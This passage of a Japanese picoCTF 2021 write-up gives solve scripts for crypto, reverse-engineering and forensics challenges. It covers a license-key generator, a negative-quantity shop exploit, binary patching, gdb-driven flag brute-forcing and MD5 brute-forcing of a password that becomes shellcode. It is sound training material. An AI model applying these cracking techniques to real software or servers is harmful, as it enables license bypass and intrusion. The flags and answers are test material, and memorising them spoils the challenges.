key は、14文字以下なので、それ以上の長さの文字列を暗号化する場合、key の先頭に戻って再度暗号化に使用される。 上記の結果を基に、key の使用傾向を見ると、o が9文字毎に出現していることが分かる。 このことから、key の長さは、9文字であると推測できる。

次に 9文字の key が矛盾なく繰り返されているパターンを見つける。 手動で探したところ oedcfjdbe であれば、矛盾なく繰り返すことができると分かった。

最後に特定した key を使って復号すると、フラグが表示された。

import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]


def b16_decode(enc):
    dec = ""
    for i in range(0, len(enc), 2):
        n1 = ord(enc[i]) - LOWERCASE_OFFSET
        n2 = ord(enc[i+1]) - LOWERCASE_OFFSET
        dec += chr((n1 << 4) + n2)
    return dec


def unshift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 - t2) % len(ALPHABET)]


enc = 'bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp'
key = 'oedcfjdbe'

b16 = ""
for i, c in enumerate(enc):
    b16 += unshift(c, key[i % len(key)])

flag = b16_decode(b16)
print(flag)
$ python3 solve.py 
698987ddce418c11e9aa564229c50fda

picoCTF{698987ddce418c11e9aa564229c50fda}

Reverse Engineering(16問)

Transformation - 20 points

I wonder what this really is... enc ''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])

逆変換をするようにスクリプトを書くと、以下のようになる。

with open('enc', 'r') as f:
    enc = f.read()

flag = ''
for ch in enc:
    flag += chr(ord(ch) >> 8) + chr(ord(ch) & 0xff)

print(flag)
$ python3 solve.py 
picoCTF{16_bits_inst34d_of_8_04c0760d}

picoCTF{16_bits_inst34d_of_8_04c0760d}

keygenme-py - 30 points

keygenme-trial.py

bUsername_trial のハッシュ値を使って key_part_dynamic1_trial が正しい値かどうかをチェックしている処理がある。

# snip

username_trial = "PRITCHARD"
bUsername_trial = b"PRITCHARD"

key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
key_part_dynamic1_trial = "xxxxxxxx"
key_part_static2_trial = "}"
key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial

# snip

def enter_license():
    user_key = input("\nEnter your license key: ")
    user_key = user_key.strip()

    global bUsername_trial
    
    if check_key(user_key, bUsername_trial):
        decrypt_full_version(user_key)
    else:
        print("\nKey is NOT VALID. Check your data entry.\n\n")


def check_key(key, username_trial):

    global key_full_template_trial

    if len(key) != len(key_full_template_trial):
        return False
    else:
        # Check static base key part --v
        i = 0
        for c in key_part_static1_trial:
            if key[i] != c:
                return False

            i += 1

        # TODO : test performance on toolbox container
        # Check dynamic part --v
        if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:
            return False



        return True

# snip

その処理を参考に、正しい key_part_dynamic1_trial を求めるスクリプトを作成した。 実行すると、License Key(フラグ)を求めることができる。

import hashlib

bUsername_trial = b"PRITCHARD"

key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
key_part_dynamic1_trial = "xxxxxxxx"
key_part_static2_trial = "}"

hash = hashlib.sha256(bUsername_trial).hexdigest()

key_part_dynamic1_trial = ""
for i in [4, 5, 3, 6, 2, 7, 1, 8]:
    key_part_dynamic1_trial += hash[i]

user_key = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial
print(user_key)
$ python3 solve.py
picoCTF{1n_7h3_|<3y_of_54ef6292}

picoCTF{1n_7h3_|<3y_of_54ef6292}

crackme-py - 30 points

crackme.py

ファイル内に以下の文字列が書かれている

bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE055a4ce`eN"

これを CyberChef で ROT47 するだけ

picoCTF{1|\/|_4_p34|\|ut_dd2c4616}

ARMssembly 0 - 40 points

What integer does this program print with arguments 1765227561 and 1830628817? File: chall.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})

chall.S は、ARM 64bit のアセンブリで書かれている。 読むのが面倒なので、クロスコンパイルして Ghidra で確認した。

$ sudo apt install gcc-aarch64-linux-gnu
$ aarch64-linux-gnu-as chall.S -o chall

Ghidra で確認すると、コマンドライン引数に与えられた2つの値を比較し、大きいほうの値を表示するだけのプログラムでした。よって、1830628817 を16進数に変換した値がフラグになる。

f:id:tsalvia:20210331200136p:plain

picoCTF{6d1d2dd1}

speeds and feeds - 50 points

There is something on my shop network running at mercury.picoctf.net:53740, but I can't tell what it is. Can you?

netcat でアクセスすると、何かのログっぽい文字列がたくさん流れてくる。

$ nc mercury.picoctf.net 53740
G17 G21 G40 G90 G64 P0.003 F50
G0Z0.1
G0Z0.1
G0X0.8276Y3.8621
G1Z0.1
G1X0.8276Y-1.9310
G0Z0.1
G0X1.1034Y3.8621
G1Z0.1
G1X1.1034Y-1.9310

<snip>

文字列の最初の行にある G17 G21 G40 G90 G64 P0.003 F50 で検索すると、G-Code というコードであることが分かった。 また、GCode Viewer というサービスを発見した。ここに G-Code を貼り付けると、3Dモデルが表示される。

ncviewer.com

実際に貼り付けてみると、フラグの3Dモデルが表示された。

f:id:tsalvia:20210320171056p:plain

picoCTF{num3r1cal_c0ntr0l_775375c7}

Shop - 50 points

Best Stuff - Cheap Stuff, Buy Buy Buy... Store Instance: source. The shop is open for business at nc mercury.picoctf.net 34938.

netcat で接続すると、market が表示された。以下のいずれかを購入することができる。

  • Quiet Quiches
  • Average Apple
  • Fruitful Flag
$ nc mercury.picoctf.net 34938
Welcome to the market!
=====================
You have 40 coins
        Item            Price   Count
(0) Quiet Quiches       10      12
(1) Average Apple       15      8
(2) Fruitful Flag       100     1
(3) Sell an Item
(4) Exit
Choose an option:

「How many do you want to buy?」のところで -10 を指定してみると、自分の持ち金が 140 コインに増えた。 100 コイン以上になったので、Fruitful Flag を購入すると、10進数でフラグが表示された。

$ nc mercury.picoctf.net 34938
Welcome to the market!
=====================
You have 40 coins
        Item            Price   Count
(0) Quiet Quiches       10      12
(1) Average Apple       15      8
(2) Fruitful Flag       100     1
(3) Sell an Item
(4) Exit
Choose an option:
0
How many do you want to buy?
-10
You have 140 coins
        Item            Price   Count
(0) Quiet Quiches       10      22
(1) Average Apple       15      8
(2) Fruitful Flag       100     1
(3) Sell an Item
(4) Exit
Choose an option:
2
How many do you want to buy?
1
Flag is:  [112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 98 97 54 98 56 99 100 102 125]

CyberChef の From Decimal で変換すると、フラグを取得することができた。

picoCTF{b4d_brogrammer_ba6b8cdf}

ARMssembly 1 - 70 points

For what argument does this program print win with variables 85, 6 and 3? File: chall_1.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})

ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。

$ aarch64-linux-gnu-as chall_1.S -o chall_1

0x715 を与えると、You win! と表示されるプログラムになっていました。

f:id:tsalvia:20210331211459p:plain

picoCTF{00000715}

ARMssembly 2 - 90 points

What integer does this program print with argument 3848786505? File: chall_2.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})

ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。

$ aarch64-linux-gnu-as chall_2.S -o chall_2

コマンドライン引数に与えられた値を3倍にして返すプログラムでした。

f:id:tsalvia:20210331212011p:plain

3848786505 を3倍にした値は、11546359515(0x2b03776db)になる。 ただし、オーバーフローしているので、実際に表示される値は 2956424923(0xb03776db)になる。

picoCTF{b03776db}

Hurry up! Wait! - 100 points

svchost.exe

Ghidra で確認すると、以下のように delay させている処理が見つかる。

f:id:tsalvia:20210331212618p:plain

長時間スリープされていそうなので、ここの呼び出しを NOP(0x90)に書き換えて、呼び出されないようにする。

f:id:tsalvia:20210320184826p:plain

パッチを当てた後、実行するとフラグが表示された。

$ ./svchost.exe
picoCTF{d15a5m_ftw_dfbdc5d}

picoCTF{d15a5m_ftw_dfbdc5d}

gogo - 110 points

Hmmm this is a weird file... enter_password. There is a instance of the service running at mercury.picoctf.net:35862.

Ghidra で処理を確認すると、以下の箇所でパスワード比較をしていた。

f:id:tsalvia:20210401053306p:plain

buf[0x20] 以降の値は、以下に格納されていた。

f:id:tsalvia:20210327162944p:plain

CyberChef で XOR してパスワードを復号すると、reverseengineericanbarelyforward となった。

実際に入力してみると、以下のように表示された。

$ ./enter_password
Enter Password: reverseengineericanbarelyforward
=========================================
This challenge is interrupted by psociety
What is the unhashed key?

key になっている 861836f13e3d627dfa375bdb8389214e を以下のサイトで検索すると、goldfish と出てきた。

crackstation.net

パスワード入力後に、goldfish と入力すると、フラグが表示された。

$ nc mercury.picoctf.net 35862
Enter Password: reverseengineericanbarelyforward
=========================================
This challenge is interrupted by psociety
What is the unhashed key?
goldfish
Flag is:  picoCTF{p1kap1ka_p1c05729981f}

picoCTF{p1kap1ka_p1c05729981f}

ARMssembly 3 - 130 points

What integer does this program print with argument ``3350728462PP? File: chall_3.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})

ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。

$ aarch64-linux-gnu-as chall_3.S -o chall_3

以下のようなプログラムになっていました。

f:id:tsalvia:20210401054903p:plain

再現して実行すると、フラグになった。

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    unsigned int value = atoi(argv[1]);
    unsigned int result = 0;

    while (value != 0) {
        if ((value & 1) != 0)
            result = result + 3;
        value = value >> 1;
    }
    printf("%x\n", result);
}
$ gcc solve.c
$ ./a.out 3350728462
30

picoCTF{00000030}

Let's get dynamic - 150 points

Can you tell what this file is reading? chall.S

コンパイルして Ghidra でデコンパイルする。

$ gcc chall.S

f:id:tsalvia:20210401061248p:plain

memcmp で比較していそうなので、GDB で確認する。

$ gdb -q ./a.out

memcmp に Breakpoint を置いて、スタックを見るとフラグが書かれていた。

gdb-peda$ start
gdb-peda$ b memcmp
gdb-peda$ c
gdb-peda$ stack
0000| 0x7fffffffe0e8 --> 0x5555555552ff (<main+390>:    test   eax,eax)
0008| 0x7fffffffe0f0 --> 0x7fffffffe308 --> 0x7fffffffe56c ("/root/workdir/a.out")
0016| 0x7fffffffe0f8 --> 0x100000000 
0024| 0x7fffffffe100 --> 0x0 
0032| 0x7fffffffe108 --> 0x3100000000 ('')
0040| 0x7fffffffe110 ("picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377")
0048| 0x7fffffffe118 ("dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377")
0056| 0x7fffffffe120 ("4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377")

picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}

Easy as GDB - 160 points

The flag has got to be checked somewhere... File: brute

Ghidra で確認すると、以下の箇所でフラグを1バイトずつチェックをしている。

f:id:tsalvia:20210401062357p:plain

「ループ回数 > 入力したフラグの長さ」であれば、正しいフラグとなる。 1文字ずつ総当たりでフラグを入力し、0x4009a5 を通る回数を数えるスクリプトを作成した。

import gdb
import string

gdb.execute('file ./brute')
gdb.execute('set pagination off')
gdb.Breakpoint('*0x004009a5')

pattern = string.printable

flag = ''
for i in range(len(flag), 30):
    for ch in pattern:

        open('input.txt', 'w').write(flag + ch)
        gdb.execute('run < input.txt')

        for _ in range(i + 1):
            try:
                gdb.execute('continue')
            except gdb.error:
                pass

        msg = gdb.execute('i b', to_string=True)
        if 'hit {} times'.format(i + 2) in msg:
            flag += ch
            gdb.execute('continue')
            break

        print('-' * 80)
        print('flag:', flag + ch)
        print(msg)

print(flag)
gdb.execute('quit')

x86 環境で以下を実行し、しばらく待つとフラグが表示される。

$ gdb -x ./solve.py -q

<snip>

Correct!
[Inferior 1 (process 10470) exitex normally]
picoCTF{I_5D3_A11DA7_e5458cbf}

picoCTF{I_5D3_A11DA7_e5458cbf}

ARMssembly 4 - 170 points

What integer does this program print with argument 3964545182? File: chall_4.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})

ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。

$ aarch64-linux-gnu-as chall_4.S -o chall_4

再現すると、以下のようなプログラムになっていました。

#include <stdio.h>
#include <stdlib.h>

unsigned int func8(unsigned int param_1)
{
    return param_1 + 2;
}

unsigned int func7(unsigned int param_1)
{
    if (param_1 < 0x65)
        param_1 = 7;
    return param_1;
}

unsigned int func6(unsigned int param_1)
{
    unsigned int local_14;
    unsigned int local_c;

    local_c = 0;
    local_14 = param_1;
    while (local_c < 900)
    {
        local_14 = 0x5c;
        local_c = local_c + 1;
    }
    return local_14;
}

unsigned int func5(unsigned int param_1)
{
    unsigned int uVar1;
    uVar1 = func8(param_1);
    return uVar1;
}

unsigned int func4(unsigned int param_1)
{
    return param_1;
}

unsigned int func3(unsigned int param_1)
{
    return func7(param_1);
}

unsigned int func2(unsigned int param_1)
{
    if (param_1 < 500)
        return func4(param_1 - 0x56);
    else
        return func5(param_1 + 0xd);
}

unsigned int func1(unsigned int param_1)
{
    if (param_1 < 0x65)
        return func3(param_1);
    else
        return func2(param_1 + 100);
}

int main(int argc, char **argv)
{
    unsigned int value = atoi(argv[1]);
    unsigned int result = func1(value);
    printf("Result: %ld\n", (long) result);
    return 0;
}
$ gcc solve.c
$ ./a.out 3964545182
Result: 3964545297

picoCTF{ec4e2911}

Powershelly - 180 points

It's not a bad idea to learn to read Powershell. We give you the output, but do you think you can find the input? rev_PS.ps1 output.txt

rev_PS.ps1 を読み、output.txt から input.txt に戻すスクリプトを作成した。

function Random-Gen {
    $list1 = @()
    for ($i = 1; $i -lt ($output_file.Length + 1); $i++) {
        $y = ((($i * 327) % 681 ) + 344) % 313
        $list1 += $y
    }
    return $list1
}

function Unscramble {
    param (
        $fun,
        $seed
    )
    $raw2 = [convert]::ToString($fun, 2)
    $raw = @()
    $i = 0
    while ($i -lt $raw2.Length) {
        $n = $raw2[$i] + $raw2[$i + 1]
        if ($n -eq "11") {
            $raw += "1"
        }
        else {
            $raw += "0"
        }
        $i += 2
    }

    $blocks = @()
    for ($i = 0; $i -lt $raw.Length; $i++) {
        $y = ($i * $seed) % $raw.Length
        $n = $raw[$y]
        while ($n -eq "2") {
            $y = ($y + 1) % $raw.Length
            $n = $raw[$y]
        }
        $blocks += $raw[$y]
        $raw[$y] = "2"
    }
    return $blocks
}

$path = ".\output.txt"
$output_file = Get-Content -Path $path

$result = 0
$seeds = @()
for ($i = 1; $i -lt ($output_file.count + 1); $i++) {
    $seeds += ($i * 127) % 500
}

$randoms = Random-Gen
$blocks = @{}
for ($i = 0; $i -lt $output_file.count ; $i++) {
    $fun = $output_file[$i] -bxor $result -bxor $randoms[$i]
    $result = $fun -bxor $result -bxor $randoms[$i]
    $blocks[$i] = Unscramble -fun $fun -seed $seeds[$i]
}

$out = @{}
for ($i = 0; $i -lt $blocks.Count; $i++) {
    for ($j = 0; $j -lt 5; $j++) {

        $line = $blocks[$i]
        $r = @()
        for ($k = 0; $k -lt 6; $k++) {
            $r += $line[$j * 6 + $k]
        }
        $s = [system.String]::Join("", $r)
        $out[$j] += $s + " "
    }
}

for ($i = 0; $i -lt $out.Count; $i++) {
    $input_file = $out[$i].Remove($out[$i].Length - 1, 1)
    Add-Content -Path input.txt -Value $input_file
}

実行すると、以下のようにファイルが生成される。

PS > .\restore_input.ps1
PS > type input.txt
100001 110011 110011 110011 100001 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 110011 100001 110011 110011 100001 100001 100001 110011 110011 100001 110011 110011 100001 110011 110011 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 110011 100001 110011 100001 100001 100001 110011 100001 100001 100001 110011 110011 100001 100001 110011 110011 110011 110011 100001 110011 110011 100001 100001 110011 110011 100001 100001 110011 100001 100001 100001 110011 110011 100001 100001 100001 100001 100001 100001 110011 110011 100001 100001 100001 110011 100001 100001 110011 110011 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 110011 100001 110011 110011 100001 100001 110011 110011 110011 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 110011 100001 110011 110011 110011 100001 110011 100001 100001 100001 100001 100001 100001 100001 110011 110011 110011 110011 100001 100001 110011 100001 110011 100001 110011 110011 110011 110011 110011 100001 100001 110011 110011 100001 100001 110011 100001 100001 110011 100001 110011 110011 110011 110011 110011 100001 110011 110011 110011 100001 100001 100001 100001 100001 110011 110011 100001 110011 110011 110011 110011 100001 110011 110011 110011 100001 110011 110011 110011 100001 100001 110011 110011 100001 100001 110011 110011 100001 110011 110011 110011 100001 100001 110011 100001 100001 100001 110011 100001 100001 110011 100001 100001 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 100001 110011 100001 110011 100001 110011 110011 100001 110011 110011 100001 100001 100001 100001 110011 100001 100001 100001 100001 110011 100001 110011 110011 110011 110011 110011 100001 110011
001100 100011 100011 100011 001100 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 100011 001100 100011 100011 001100 001100 001100 100011 100011 001100 100011 100011 001100 100011 100011 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 100011 001100 100011 001100 001100 001100 100011 001100 001100 001100 100011 100011 001100 001100 100011 100011 100011 100011 001100 100011 100011 001100 001100 100011 100011 001100 001100 100011 001100 001100 001100 100011 100011 001100 001100 001100 001100 001100 001100 100011 100011 001100 001100 001100 100011 001100 001100 100011 100011 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 100011 001100 100011 100011 001100 001100 100011 100011 100011 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 100011 001100 100011 100011 100011 001100 100011 001100 001100 001100 001100 001100 001100 001100 100011 100011 100011 100011 001100 001100 100011 001100 100011 001100 100011 100011 100011 100011 100011 001100 001100 100011 100011 001100 001100 100011 001100 001100 100011 001100 100011 100011 100011 100011 100011 001100 100011 100011 100011 001100 001100 001100 001100 001100 100011 100011 001100 100011 100011 100011 100011 001100 100011 100011 100011 001100 100011 100011 100011 001100 001100 100011 100011 001100 001100 100011 100011 001100 100011 100011 100011 001100 001100 100011 001100 001100 001100 100011 001100 001100 001100 100011 001100 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 001100 100011 001100 100011 001100 100011 100011 001100 100011 100011 001100 001100 001100 001100 100011 001100 001100 001100 001100 100011 001100 100011 100011 100011 100011 100011 001100 100011
001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 001100 110011 110011 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 110011 001100 110011 001100 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 110011 110011 110011 110011 001100 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 001100 001100 001100 001100 110011 110011 001100 001100 001100 110011 001100 001100 110011 110011 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 110011 110011 110011 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 110011 001100 110011 110011 110011 001100 110011 001100 001100 001100 001100 001100 001100 001100 110011 110011 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 110011 110011 001100 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 110011 001100 110011 110011 110011 001100 001100 110011 001100 001100 001100 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 001100 110011 110011 001100 001100 001100 001100 110011 001100 001100 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011
001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 001100 110011 110011 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 110011 001100 110011 001100 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 110011 110011 110011 110011 001100 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 001100 001100 001100 001100 110011 110011 001100 001100 001100 110011 001100 001100 110011 110011 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 110011 110011 110011 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 110011 001100 110011 110011 110011 001100 110011 001100 001100 001100 001100 001100 001100 001100 110011 110011 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 110011 110011 001100 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 110011 001100 110011 110011 110011 001100 001100 110011 001100 001100 001100 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 001100 110011 110011 001100 001100 001100 001100 110011 001100 001100 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011
100001 000000 000000 000000 100001 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 000000 100001 000000 000000 100001 100001 100001 000000 000000 100001 000000 000000 100001 000000 000000 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 000000 100001 000000 100001 100001 100001 000000 100001 100001 100001 000000 000000 100001 100001 000000 000000 000000 000000 100001 000000 000000 100001 100001 000000 000000 100001 100001 000000 100001 100001 100001 000000 000000 100001 100001 100001 100001 100001 100001 000000 000000 100001 100001 100001 000000 100001 100001 000000 000000 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 000000 100001 000000 000000 100001 100001 000000 000000 000000 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 000000 100001 000000 000000 000000 100001 000000 100001 100001 100001 100001 100001 100001 100001 000000 000000 000000 000000 100001 100001 000000 100001 000000 100001 000000 000000 000000 000000 000000 100001 100001 000000 000000 100001 100001 000000 100001 100001 000000 100001 000000 000000 000000 000000 000000 100001 000000 000000 000000 100001 100001 100001 100001 100001 000000 000000 100001 000000 000000 000000 000000 100001 000000 000000 000000 100001 000000 000000 000000 100001 100001 000000 000000 100001 100001 000000 000000 100001 000000 000000 000000 100001 100001 000000 100001 100001 100001 000000 100001 100001 000000 100001 100001 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 100001 000000 100001 000000 100001 000000 000000 100001 000000 000000 100001 100001 100001 100001 000000 100001 100001 100001 100001 000000 100001 000000 000000 000000 000000 000000 100001 000000

1行ずつ眺めていると、各行に2 パターンしかないことが分かる。
(1行目の場合、100001110011

それぞれに 0 もしくは 1 を割り当てて、2進数として読み取り、文字列に変換するとフラグになった。

import string

with open('input.txt') as f:
    lines = f.readlines()

for line in lines:
    zero, one = sorted(set(line.split()))
    s = line.replace(zero, '0').replace(one, '1').replace(' ', '').strip()

    result = ''
    for i in range(0, len(s), 8):
        result += chr(int(s[i:i+8], 2))
    
    if all([c in string.printable for c in result]):
        print(result)
$ python3 ./replace_01.py
picoCTF{2018highw@y_2_pow3r$hel!}
picoCTF{2018highw@y_2_pow3r"hel!}
picoCTF{2018highw@y_2_pow3r$hel!}
picoCTF{2018highw@y_2_pow3r$hel!}

picoCTF{2018highw@y_2_pow3r$hel!}

Rolling My Own - 300 points

I don't trust password checkers made by other people, so I wrote my own. It doesn't even need to store the password! If you can crack it I'll give you a flag. remote nc mercury.picoctf.net 17615

remote を実行すると、以下のようなエラーが出る場合がある。

$ ./remote 
./remote: error while loading shared libraries: libcrypto.so.1.1: cannot open shared object file: No such file or directory

libcrypto.so.1.1 が足りないようなので、ダウンロードしてきてビルドする。

$ wget https://www.openssl.org/source/old/1.1.0/openssl-1.1.0l.tar.gz
$ tar xvf openssl-1.1.0l.tar.gz
$ cd openssl-1.1.0l
$ ./config
$ make

LD_LIBRARY_PATH に追記すると、実行できるようなる。

$ export LD_LIBRARY_PATH=./openssl-1.1.0l:$LD_LIBRARY_PATH
$ ./remote 
Password: 

実行できるようになったので gdbデバッグしながら処理を確認すると、以下のようになっていた。

Password に abcdefghijklmnop と入力された場合、以下のように4文字ずつ分割し、それぞれに8文字の salt が追記される。

  • abcdGpLaMjEW
  • efghpVOjnnmk
  • ijklRGiledp6
  • mnopMvcezxls

次に それぞれのMD5 ハッシュ値を求め、特定の位置の4バイトを抽出する。

  • 80d218041c09fb220678d00421adc0f3 -> 0678d004(offset: 8)
  • 294a4535c9c11c6fcc63aa80ba932e68 -> 4535c9c1(offset: 2)
  • 46b4be289b403a62cf6b58e2de420aaa -> 62cf6b58(offset: 7)
  • 02f5c347b5257bf71cf3625fd5b4d6d7 -> f5c347b5(offset: 1)

抽出した 16 バイトを実行権限のあるメモリに展開し、命令として実行する。 実行された命令が正しければ、フラグ表示用の関数が呼び出され、フラグが表示される。

フラグを表示させるためには、以下の条件を満たす必要がある。

  1. Hints より、 Password の初めの4文字は、D1v1 である。
  2. 実行時の rdi レジスタには、フラグ表示用の関数のアドレスが格納されている。
  3. フラグを表示させるためには、第1引数に 0x7b3dc26f1 を設定する必要がある。
  4. 16バイト以内に命令を収める必要がある。

以上、上記を満たす命令は、以下の2つのいずれかになる。

        .intel_syntax noprefix
        .globl _start
_start:
        mov rsi, rdi
        mov rdi, 0x7b3dc26f1
        call rsi
$ gcc -nostdlib call_func1.S
$ objdump -M intel -d a.out 

a.out:     file format elf64-x86-64


Disassembly of section .text:

00000000004000d4 <_start>:
  4000d4:       48 89 fe                mov    rsi,rdi
  4000d7:       48 bf f1 26 dc b3 07    movabs rdi,0x7b3dc26f1
  4000de:       00 00 00 
  4000e1:       ff d6                   call   rsi

もしくは

        .intel_syntax noprefix
        .globl _start
_start:
        mov rsi, rdi
        mov rdi, 0x7b3dc26f1
        nop
        call rsi
$ gcc -nostdlib call_func.S
$ objdump -M intel -d a.out 

a.out:     file format elf64-x86-64


Disassembly of section .text:

00000000004000d4 <_start>:
  4000d4:       48 89 fe                mov    rsi,rdi
  4000d7:       48 bf f1 26 dc b3 07    movabs rdi,0x7b3dc26f1
  4000de:       00 00 00 
  4000e1:       90                      nop
  4000e2:       ff d6                   call   rsi

ここまで判明したので、後は上記のバイト列になるパスワードを総当たりで探索すればよい。

import string
import itertools
import hashlib

salts = [
    'GpLaMjEW',
    'pVOjnnmk',
    'RGiledp6',
    'Mvcezxls',
]

offsets = [8, 2, 7, 1]

target_bytes = [
    '4889fe48',
    'bff126dc',
    'b3070000',
    '00ffd6'
]

chars = string.ascii_letters + string.digits

result = ''
for i in range(4):
    offset = offsets[i] * 2
    size = len(target_bytes[i])

    for ch in itertools.product(chars, repeat=4):
        password = ''.join(ch)
        digest = hashlib.md5((password + salts[i]).encode()).hexdigest()

        if digest[offset:offset + size] == target_bytes[i]:
            print(password + salts[i], digest, digest[offset:offset + size])
            break
    
    result += password

print('Password:', result)
$ python3 solve.py 
D1v1GpLaMjEW 23f144e08b603e724889fe489f78fa53 4889fe48
d3AnpVOjnnmk 97c5bff126dca58703d2ac303dd9053d bff126dc
dC0nRGiledp6 a8cd3acafc8c25b3070000dd18450048 b3070000
qu3rMvcezxls cc00ffd6c3c4d4d271b26c64a7a7107b 00ffd6
Password: D1v1d3AndC0nqu3r

総当たりで判明したパスワードを入力すると、フラグが表示された。

$ nc mercury.picoctf.net 17615
Password: D1v1d3AndC0nqu3r
picoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_ad137747}

picoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_ad137747}

Forensics(11問)

information - 10 points

Files can always be changed in a secret way. Can you find the flag? cat.jpg

cat.jpg の文字列を列挙して、Base64デコードするとフラグが表示された。

$ strings cat.jpg | grep -oE "[a-zA-Z0-9+/]{5,}=?=?" | while read line; do echo $line | base64 -d 2>/dev/null; done | strings | grep pico
picoCTF{the_m3tadata_1s_modified}

picoCTF{the_m3tadata_1s_modified}

Weird File - 20 points

What could go wrong if we let Word documents run programs? (aka "in-the-clear"). Download file.

olevba でマクロを抽出すると、以下のような処理が確認できる。

PS > olevba .\weird.docm
' snip

